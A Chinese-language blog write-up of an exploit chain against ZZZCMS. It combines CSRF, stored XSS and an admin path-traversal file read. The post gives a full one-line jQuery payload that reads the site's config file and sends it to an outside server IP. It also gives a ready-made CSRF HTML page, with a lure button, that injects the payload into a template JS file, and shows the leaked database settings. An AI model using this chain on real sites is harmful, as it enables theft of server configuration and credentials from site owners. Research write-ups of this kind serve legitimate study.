各种漏洞组合拳打出不一样的姿势

本文作者: Z1NG (信安之路核心成员)

无意之中,发现 ZZZCMS 后台任意文件读取漏洞,发现这个漏洞的时候第一反应是很鸡肋。后来,在上厕所的时候突然想到一件事。这款 CMS 还存在 CSRF 和 XSS 的问题,想着能不能把这几个洞串在一起,降低攻击门槛呢?于是就开始瞎捣鼓。

后台读取任意文件

首先看后台读取任意文件的漏洞点,如下两张图所示。由于未对文件路径进行过滤,只要构造好路径可以读取任意文件。

利用思路

首先想到一个思路就是使用 CSRF 来进行任意读取文件。但是我使用 JQuery 构造 Ajax 发送数据包的时候,发现一个问题, 同源策略 限制了不同源之间的访问,所以 Ajax 行不通。要绕过同源策略其实也就简单,就是利用 HTML 标签 来构造表单发送数据包。

回想起来之前写的一篇,由 CSRF 到 XSS。突然想到能否利用 XSS 来进行任意文件读取,而且使用 XSS 进行任意文件读取,由于是是在相同域里的资源请求,本身就不受同源策略的影响。因此,目标站点如果存在一处 XSS ,而后台存在任意文件读取,那么只要在 XSS 漏洞处注入相应的 JS 代码,就可以进行任意文件读取了。然鹅不巧的是, ZZZCMSXSS 也是在后台,本身就要依靠 CSRF 来利用。不过,通过 XSS 漏洞进行任意文件读取这条思路,个人觉得还是可行的。

确定了通过 XSS 执行 JS 代码发送 GET 请求来读取任意文件之后,问题又来了, XSS 就算读取到了任意文件的内容,读取到的内容也只会在当前站点里存在和显示。那咋办?第一个想法是,构造一个请求,发送到我的云服务器,这样在 Apache 的服务日志里就会有一条记录,而这个记录就是携带了数据的。其实这个方法感觉还是比较 low,应该有更好的利用方法,希望有大佬能来提点一下。

利用代码的构造

首先,我们需要构造一个 GET 请求,实现任意文件读取。熟悉 JavaScript 的朋友,应该知道这是 JQuery,由于这个 CMS 的有引入 JQuery 文件,更方便我们构造请求。

$.get("http://127.0.0.1/zzzphp/admin728/?module=templateedit&type=/zzzphp/runtime/cache/admin/../../../config/zzz_config.php",function (data)){};

data 为服务器响应的数据,即读取到的文件内容,我们可以打印出来看看。

$.get("http://127.0.0.1/zzzphp/admin728/?module=templateedit&type=/zzzphp/runtime/cache/admin/../../../config/zzz_config.php",function (data){console.log(data)});

可以看到,内容配置文件的内容成功读取出来了。接下来就考虑数据外带,如何把数据传输出来。前面提到了同源策略,我们不可以直接用 JavaScript 构造 GET 请求来外带数据,由于 HTML 标签的开放性,不受同源策略的限制。

那问题是我们注入代码的地方是 js 文件,并非 html 页面。因此,我们需要使用 JavaScript 来生成一个 form 表单。

//由于注入XSS代码,需要把代码写成一行的方式,此处拆开说明
form=document.createElement("form");//创建一个form表单
form.action="http://115.159.35.88:666/a.php"+encodeURI(data.substr(-5500,500));//表单的action属性,由于使用的是get请求,数据携带量有限,因此使用substr来截取一些字符
jsput=document.createElement("input"); //input
jsput.value=data;jsput.name="a";
form.method="get";
$(document.body).append(form);//一定需要加入这一句,否则submit在提交的时候回报错,导致没用进行提交操作
form.submit();

最终的利用代码如下

$.get("http://127.0.0.1/zzzphp/admin728/?module=templateedit&type=/zzzphp/runtime/cache/admin/../../../config/zzz_config.php",function (data){form=document.createElement("form");form.action="http://115.159.35.88:666/a.php"+encodeURI(data.substr(-5500,500));jsput=document.createElement("input");jsput.value=data;jsput.name="a";form.method="get";$(document.body).append(form);form.submit();});

漏洞利用

首先通过 CSRF 将 XSS 代码注入。

<html>
  <form action='http://127.0.0.1/zzzphp/admin728/save.php?act=editfile' method="post">
    <input type='hidden' name='file' value='/zzzphp/template/pc/cn2016/js/img.js'/>
    <input type='hidden' name='filetext' value='$.get("http://127.0.0.1/zzzphp/admin728/?module=templateedit&type=/zzzphp/runtime/cache/admin/../../../config/zzz_config.php",function (data){form=document.createElement("form");form.action="http://115.159.35.88:666/a.php"+encodeURI(data.substr(-5500,500));jsput=document.createElement("input");jsput.value=data;jsput.name="a";form.method="get";$(document.body).append(form);form.submit();});'/>
    <input type='submit' value='点击有惊喜'/>
  </form> 
</html>


在成功注入 JS 代码以后, img.js 的文件内容被修改成如下:

然后访问 XSS 的漏洞页面,触发 XSS 漏洞。

访问后页面会跳转到

http://115.159.35.88:666/a.phpime'=%3E'1',//%E5%8D%95%E4%BD%8D%E5%B 0%8F%E6%97%B6%EF%BC%8C%E9%BB%98%E8%AE%A41%E5%B0%8F%E6%97%B6%0D%0A's iteext'=%3E'',//%E9%93%BE%E6%8E%A5%E5%90%8E%E7%BC%80%EF%BC%88%E5%8F %AF%E4%BB%A5%E4%B8%BA%E7%A9%BA%E6%88%96.htm,.html,.php,.jsp%EF%BC%8 9%0D%0A%20%0D%0A//%E5%90%8E%E5%8F%B0%E5%88%86%E9%A1%B5%E8%AE%BE%E7% BD%AE%0D%0A'pagesize'=%3E'20',//%E9%BB%98%E8%AE%A4%E5%88%86%E9%A1%B 5%E6%95%B0%E9%87%8F%0D%0A'sortsize'=%3E'300',//%E5%88%86%E7%B1%BB%E 6%8A%98%E5%8F%A0%E6%95%B0%E9%87%8F%0D%0A%0D%0A//%E6%95%B0%E6%8D%AE% E5%BA%93%EF%BC%8C%E6%94%AF%E6%8C%81mysql%EF%BC%8Csqlite%EF%BC%8Cacc ess%EF%BC%8C%E6%8E%A8%E8%8D%90%E4%BD%BF%E7%94%A8mysql%0D%0A'db'=%3E array(%0D%0A'type'=%3E'sqlite',//%E6%95%B0%E6%8D%AE%E5%BA%93%E7%B1% BB%E5%9E%8B%0D%0A'showsql'=%3E'0',%0D%0A'tablepre'=%3E'zzz_',%0D%0A //mysql%0D%0A'host'=%3E'127.0.0.1',//%E6%95%B0%E6%8D%AE%E5%BA%93%E5 %9C%B0%E5%9D%80%0D%0A'port'=%3E'',//%E6%95%B0%E6%8D%AE%E5%BA%93%E7% AB%AF%E5%8F%A3%0D%0A'name'=%3E'zzz_cms',//%E6%95%B0%E6%8D%AE%E5%BA% 93%E5%90%8D%0D%0A'user'=%3E'root',//%E6%95%B0%E6%8D%AE%E5%BA%93%E5% B8%90%E5%8F%B7%0D%0A'password'=%3E'root',//%E6%95%B0%E6%8D%AE%E5%BA %93%E5%AF%86%E7%A0%81%0D%0A'charset'=%3E'utf8',%0D%0A'engine'=%3E'I nnoDB',%0D%0A//access%0D%0A'accesspath'=%3E'',%0D%0A'accessname'=%3 E'',%0D%0A//sqlite%0D%0A'sqli?

在此处就已经可以看到数据被拼接在 URL 之后去请求了。查看云服务器的 Apache 日志。

将其复制出来拿去 URL 解码。可以看到,这样就讲一个后台的数据外带保存在了我们的云服务器上。

总结

一个很简单的操作,写这篇文章主要是记录一下分析的过程。由于对 JavaScript 的不熟悉,代码写的十分抠脚。这个思路只是抛砖引玉,希望之后能有更好的利用方法。在构造利用代码的时候,更能理解了同源策略。洞虽然是小洞,一顿分析思考下来,还是蛮有意思的。大佬们勿喷~